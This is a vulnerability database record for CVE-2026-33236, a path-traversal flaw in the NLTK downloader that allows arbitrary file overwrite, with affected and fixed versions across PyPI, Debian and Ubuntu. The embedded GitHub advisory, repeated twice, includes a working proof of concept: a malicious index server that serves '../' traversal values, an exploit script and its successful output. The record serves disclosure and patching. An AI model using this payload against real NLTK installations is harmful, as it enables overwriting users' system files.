{"id":"CVE-2026-33236","aliases":["DEBIAN-CVE-2026-33236","EUVD-2026-13887","GHSA-469j-vmhf-r6v7","PYSEC-2026-2237","ROOT-APP-PYPI-CVE-2026-33236","UBUNTU-CVE-2026-33236"],"status":"published","title":"NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite","description":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00613,"percentile":0.49641,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-03-19T12:42:42Z","modified":"2026-11-04T03:30:49Z","fixes":[{"ecosystem":"PyPI","package":"nltk","fixed_in":["3.9.4"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"nltk","fixed_in":["3.10.0-1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"nltk","fixed_in":["3.9.2+aikido.7","3.9.2+aikido.8"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"rootio-nltk","fixed_in":["3.9.2+root.io.3","3.9.2+root.io.4","3.9.2+root.io.5"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:14.04:LTS","package":"nltk","fixed_in":["2.0~b9-0ubuntu4.1~esm6"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"nltk","fixed_in":["3.1-1ubuntu0.1+esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"nltk","fixed_in":["3.2.5-1ubuntu0.1+esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"nltk","fixed_in":["3.4.5-2ubuntu0.1~esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:22.04:LTS","package":"nltk","fixed_in":["3.7-1ubuntu0.1~esm2"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:24.04:LTS","package":"nltk","fixed_in":["3.8.1-1ubuntu0.1~esm2"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:26.04:LTS","package":"nltk","fixed_in":["3.9.2-1ubuntu0.1~esm2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.4"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.8-1","3.8.1-1","3.9.1-1","3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"Debian:13","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"Debian:14","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.0-1"}]}],"versions":["3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.4"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9b1"]},{"source":"osv","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.4"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9b1"]},{"source":"osv","ecosystem":"Root:PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.2+aikido.7"},{"fixed":"3.9.2+aikido.8"}]}]},{"source":"osv","ecosystem":"Root:PyPI","package":"rootio-nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.2+root.io.3"},{"fixed":"3.9.2+root.io.4"},{"fixed":"3.9.2+root.io.5"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0~b9-0ubuntu4.1~esm6"}]}],"versions":["2.0~b9-0ubuntu4","2.0~b9-0ubuntu4.1~esm2","2.0~b9-0ubuntu4.1~esm4","2.0~b9-0ubuntu4.1~esm5"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1-1ubuntu0.1+esm4"}]}],"versions":["3.0.4-1","3.0.5-1","3.1-1","3.1-1ubuntu0.1","3.1-1ubuntu0.1+esm1","3.1-1ubuntu0.1+esm2","3.1-1ubuntu0.1+esm3"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.5-1ubuntu0.1+esm4"}]}],"versions":["3.2.4-1","3.2.5-1","3.2.5-1ubuntu0.1","3.2.5-1ubuntu0.1+esm1","3.2.5-1ubuntu0.1+esm2","3.2.5-1ubuntu0.1+esm3"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.5-2ubuntu0.1~esm4"}]}],"versions":["3.4.5-1","3.4.5-2","3.4.5-2ubuntu0.1~esm1","3.4.5-2ubuntu0.1~esm2","3.4.5-2ubuntu0.1~esm3"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.7-1ubuntu0.1~esm2"}]}],"versions":["3.5-1","3.6.5-1","3.6.7-1","3.7-1","3.7-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.8.1-1ubuntu0.1~esm2"}]}],"versions":["3.8.1-1","3.8.1-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.9.1-2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.9.2-1","3.9.3-1","3.10.0-1","3.10.1-1","3.10.3-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.2-1ubuntu0.1~esm2"}]}],"versions":["3.9.1-2","3.9.1-2build1","3.9.2-1","3.9.2-1ubuntu0.1~esm1"]}],"products":[{"vendor":"nltk","product":"nltk"},{"vendor":"red hat","product":"lightspeed core"},{"vendor":"red hat","product":"openshift lightspeed"},{"vendor":"red hat","product":"red hat ansible automation platform 2"},{"vendor":"red hat","product":"red hat openshift ai (rhoai)"},{"vendor":"red hat","product":"red hat openshift ai 2.25"},{"vendor":"red hat","product":"red hat openshift ai 3.3"}],"references":[{"url":"https://github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","evidence","report"]},{"url":"https://github.com/nltk/nltk/commit/89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33236","tags":["vdb-entry","x_refsource_REDHAT","advisory","web"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2449824","tags":["issue-tracking","x_refsource_REDHAT","report","web"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33236.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:10184","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:42644","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:19712","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:37275","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33236","tags":["advisory"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-2237.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-469j-vmhf-r6v7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33236.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-33236","tags":["advisory"]},{"url":"https://github.com/nltk/nltk","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-33236","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33236","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8302-1","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-33236","title":"NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite","description":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.","status":"published","published":"2026-03-20T22:47:10.308Z","modified":"2026-07-21T12:05:14.128Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high","assessor":"cna"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-22","CWE-22"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-13887","description":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.","status":"published","published":"2026-03-20T22:47:10Z","modified":"2026-07-21T12:05:14Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T18:19:47.959089Z"}],"ghsa":[{"id":"GHSA-469j-vmhf-r6v7","title":"NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite","description":"## Vulnerability Description\n\nThe NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to:\n\n1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system\n2. **Arbitrary File Creation**: Create arbitrary files\n3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.)\n\n## Vulnerability Principle\n\n### Key Code Locations\n\n**1. XML Parsing Without Validation** (`nltk/downloader.py:253`)\n```python\nself.filename = os.path.join(subdir, id + ext)\n```\n- `subdir` and `id` are directly from XML attributes without any validation\n\n**2. Path Construction Without Checks** (`nltk/downloader.py:679`)\n```python\nfilepath = os.path.join(download_dir, info.filename)\n```\n- Directly uses `filename` which may contain path traversal\n\n**3. Unrestricted Directory Creation** (`nltk/downloader.py:687`)\n```python\nos.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)\n```\n- Can create arbitrary directories outside the download directory\n\n**4. File Writing Without Protection** (`nltk/downloader.py:695`)\n```python\nwith open(filepath, \"wb\") as outfile:\n```\n- Can write to arbitrary locations in the file system\n\n### Attack Chain\n\n```\n1. Attacker controls remote XML index server\n   ↓\n2. Provides malicious XML: \u003cpackage id=\"passwd\" subdir=\"../../etc\" .../\u003e\n   ↓\n3. Victim executes: downloader.download('passwd')\n   ↓\n4. Package.fromxml() creates object, filename = \"../../etc/passwd.zip\"\n   ↓\n5. _download_package() constructs path: download_dir + \"../../etc/passwd.zip\"\n   ↓\n6. os.makedirs() creates directory: download_dir + \"../../etc\"\n   ↓\n7. open(filepath, \"wb\") writes file to /etc/passwd.zip\n   ↓\n8. System file is overwritten!\n```\n\n## Impact Scope\n1. **System File Overwrite**\n\n## Reproduction Steps\n\n### Environment Setup\n\n1. Install NLTK\n```bash\npip install nltk\n```\n\n2. Prepare malicious server and exploit script (see PoC section)\n\n### Reproduction Process\n\n**Step 1: Start malicious server**\n```bash\npython3 malicious_server.py\n```\n\n**Step 2: Run exploit script**\n```bash\npython3 exploit_vulnerability.py\n```\n\n**Step 3: Verify results**\n```bash\nls -la /tmp/test_file.zip\n```\n\n## Proof of Concept\n\n### Malicious Server (malicious_server.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP Server - Provides XML index with path traversal\"\"\"\nimport os\nimport tempfile\nimport zipfile\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\n# Create temporary directory\nserver_dir = tempfile.mkdtemp(prefix=\"nltk_malicious_\")\n\n# Create malicious XML (contains path traversal)\nmalicious_xml = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cnltk_data\u003e\n  \u003cpackages\u003e\n    \u003cpackage id=\"test_file\" subdir=\"../../../../../../../../../tmp\" \n             url=\"http://127.0.0.1:8888/test.zip\" \n             size=\"100\" unzipped_size=\"100\" unzip=\"0\"/\u003e\n  \u003c/packages\u003e\n\u003c/nltk_data\u003e\n\"\"\"\n\n# Save files\nwith open(os.path.join(server_dir, \"malicious_index.xml\"), \"w\") as f:\n    f.write(malicious_xml)\n\nwith zipfile.ZipFile(os.path.join(server_dir, \"test.zip\"), \"w\") as zf:\n    zf.writestr(\"test.txt\", \"Path traversal attack!\")\n\n# HTTP Handler\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path == '/malicious_index.xml':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/xml')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:\n                self.wfile.write(f.read())\n        elif self.path == '/test.zip':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/zip')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:\n                self.wfile.write(f.read())\n        else:\n            self.send_response(404)\n            self.end_headers()\n    \n    def log_message(self, format, *args):\n        pass\n\n# Start server\nif __name__ == \"__main__\":\n    port = 8888\n    server = HTTPServer((\"0.0.0.0\", port), Handler)\n    print(f\"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml\")\n    print(\"Press Ctrl+C to stop\")\n    try:\n        server.serve_forever()\n    except KeyboardInterrupt:\n        print(\"\\nServer stopped\")\n```\n\n### Exploit Script (exploit_vulnerability.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"AFO Vulnerability Exploit Script\"\"\"\nimport os\nimport tempfile\n\ndef exploit(server_url=\"http://127.0.0.1:8888/malicious_index.xml\"):\n    download_dir = tempfile.mkdtemp(prefix=\"nltk_exploit_\")\n    print(f\"Download directory: {download_dir}\")\n    \n    # Exploit vulnerability\n    from nltk.downloader import Downloader\n    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)\n    downloader.download(\"test_file\", quiet=True)\n    \n    # Check results\n    expected_path = \"/tmp/test_file.zip\"\n    if os.path.exists(expected_path):\n        print(f\"\\n✗ Exploit successful! File written to: {expected_path}\")\n        print(f\"✗ Path traversal attack successful!\")\n    else:\n        print(f\"\\n? File not found, download may have failed\")\n\nif __name__ == \"__main__\":\n    exploit()\n```\n\n### Execution Results\n\n```\n✗ Exploit successful! File written to: /tmp/test_file.zip\n✗ Path traversal attack successful!\n```","status":"published","published":"2026-03-19T12:42:42Z","modified":"2026-11-04T03:13:59Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-04T03:22:00.099882Z"}],"nvd":[{"id":"CVE-2026-33236","description":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.","status":"published","published":"2026-03-20T23:16:47.007Z","modified":"2026-07-21T12:18:07.627Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:10.126802Z"}],"osv":[{"id":"CVE-2026-33236","title":"NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite","description":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.","status":"published","published":"2026-03-20T22:47:10.308Z","modified":"2026-10-28T02:30:54.566543882Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:01.548715Z"},{"id":"DEBIAN-CVE-2026-33236","description":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.","status":"published","published":"2026-03-20T23:16:47.007Z","modified":"2026-10-01T03:02:37.173915026Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:54.587575Z"},{"id":"GHSA-469j-vmhf-r6v7","title":"NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite","description":"## Vulnerability Description\n\nThe NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to:\n\n1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system\n2. **Arbitrary File Creation**: Create arbitrary files\n3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.)\n\n## Vulnerability Principle\n\n### Key Code Locations\n\n**1. XML Parsing Without Validation** (`nltk/downloader.py:253`)\n```python\nself.filename = os.path.join(subdir, id + ext)\n```\n- `subdir` and `id` are directly from XML attributes without any validation\n\n**2. Path Construction Without Checks** (`nltk/downloader.py:679`)\n```python\nfilepath = os.path.join(download_dir, info.filename)\n```\n- Directly uses `filename` which may contain path traversal\n\n**3. Unrestricted Directory Creation** (`nltk/downloader.py:687`)\n```python\nos.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)\n```\n- Can create arbitrary directories outside the download directory\n\n**4. File Writing Without Protection** (`nltk/downloader.py:695`)\n```python\nwith open(filepath, \"wb\") as outfile:\n```\n- Can write to arbitrary locations in the file system\n\n### Attack Chain\n\n```\n1. Attacker controls remote XML index server\n   ↓\n2. Provides malicious XML: \u003cpackage id=\"passwd\" subdir=\"../../etc\" .../\u003e\n   ↓\n3. Victim executes: downloader.download('passwd')\n   ↓\n4. Package.fromxml() creates object, filename = \"../../etc/passwd.zip\"\n   ↓\n5. _download_package() constructs path: download_dir + \"../../etc/passwd.zip\"\n   ↓\n6. os.makedirs() creates directory: download_dir + \"../../etc\"\n   ↓\n7. open(filepath, \"wb\") writes file to /etc/passwd.zip\n   ↓\n8. System file is overwritten!\n```\n\n## Impact Scope\n1. **System File Overwrite**\n\n## Reproduction Steps\n\n### Environment Setup\n\n1. Install NLTK\n```bash\npip install nltk\n```\n\n2. Prepare malicious server and exploit script (see PoC section)\n\n### Reproduction Process\n\n**Step 1: Start malicious server**\n```bash\npython3 malicious_server.py\n```\n\n**Step 2: Run exploit script**\n```bash\npython3 exploit_vulnerability.py\n```\n\n**Step 3: Verify results**\n```bash\nls -la /tmp/test_file.zip\n```\n\n## Proof of Concept\n\n### Malicious Server (malicious_server.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP Server - Provides XML index with path traversal\"\"\"\nimport os\nimport tempfile\nimport zipfile\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\n# Create temporary directory\nserver_dir = tempfile.mkdtemp(prefix=\"nltk_malicious_\")\n\n# Create malicious XML (contains path traversal)\nmalicious_xml = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cnltk_data\u003e\n  \u003cpackages\u003e\n    \u003cpackage id=\"test_file\" subdir=\"../../../../../../../../../tmp\" \n             url=\"http://127.0.0.1:8888/test.zip\" \n             size=\"100\" unzipped_size=\"100\" unzip=\"0\"/\u003e\n  \u003c/packages\u003e\n\u003c/nltk_data\u003e\n\"\"\"\n\n# Save files\nwith open(os.path.join(server_dir, \"malicious_index.xml\"), \"w\") as f:\n    f.write(malicious_xml)\n\nwith zipfile.ZipFile(os.path.join(server_dir, \"test.zip\"), \"w\") as zf:\n    zf.writestr(\"test.txt\", \"Path traversal attack!\")\n\n# HTTP Handler\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path == '/malicious_index.xml':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/xml')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:\n                self.wfile.write(f.read())\n        elif self.path == '/test.zip':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/zip')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:\n                self.wfile.write(f.read())\n        else:\n            self.send_response(404)\n            self.end_headers()\n    \n    def log_message(self, format, *args):\n        pass\n\n# Start server\nif __name__ == \"__main__\":\n    port = 8888\n    server = HTTPServer((\"0.0.0.0\", port), Handler)\n    print(f\"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml\")\n    print(\"Press Ctrl+C to stop\")\n    try:\n        server.serve_forever()\n    except KeyboardInterrupt:\n        print(\"\\nServer stopped\")\n```\n\n### Exploit Script (exploit_vulnerability.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"AFO Vulnerability Exploit Script\"\"\"\nimport os\nimport tempfile\n\ndef exploit(server_url=\"http://127.0.0.1:8888/malicious_index.xml\"):\n    download_dir = tempfile.mkdtemp(prefix=\"nltk_exploit_\")\n    print(f\"Download directory: {download_dir}\")\n    \n    # Exploit vulnerability\n    from nltk.downloader import Downloader\n    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)\n    downloader.download(\"test_file\", quiet=True)\n    \n    # Check results\n    expected_path = \"/tmp/test_file.zip\"\n    if os.path.exists(expected_path):\n        print(f\"\\n✗ Exploit successful! File written to: {expected_path}\")\n        print(f\"✗ Path traversal attack successful!\")\n    else:\n        print(f\"\\n? File not found, download may have failed\")\n\nif __name__ == \"__main__\":\n    exploit()\n```\n\n### Execution Results\n\n```\n✗ Exploit successful! File written to: /tmp/test_file.zip\n✗ Path traversal attack successful!\n```","status":"published","published":"2026-03-19T12:42:42Z","modified":"2026-11-04T03:30:49.216144352Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-04T03:56:18.279609Z"},{"id":"PYSEC-2026-2237","description":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.","status":"published","published":"2026-03-20T23:16:47.007Z","modified":"2026-07-13T07:15:50.554526751Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"ROOT-APP-PYPI-CVE-2026-33236","title":"CVE-2026-33236 in nltk - Patched by Root","description":"Root has patched CVE-2026-33236 in the nltk package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-08-05T08:19:58Z","modified":"2026-08-09T23:00:05.876847923Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"UBUNTU-CVE-2026-33236","description":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.","status":"published","published":"2026-03-20T23:16:00Z","modified":"2026-10-17T12:59:59.95337305Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:16.036833Z"}]}}
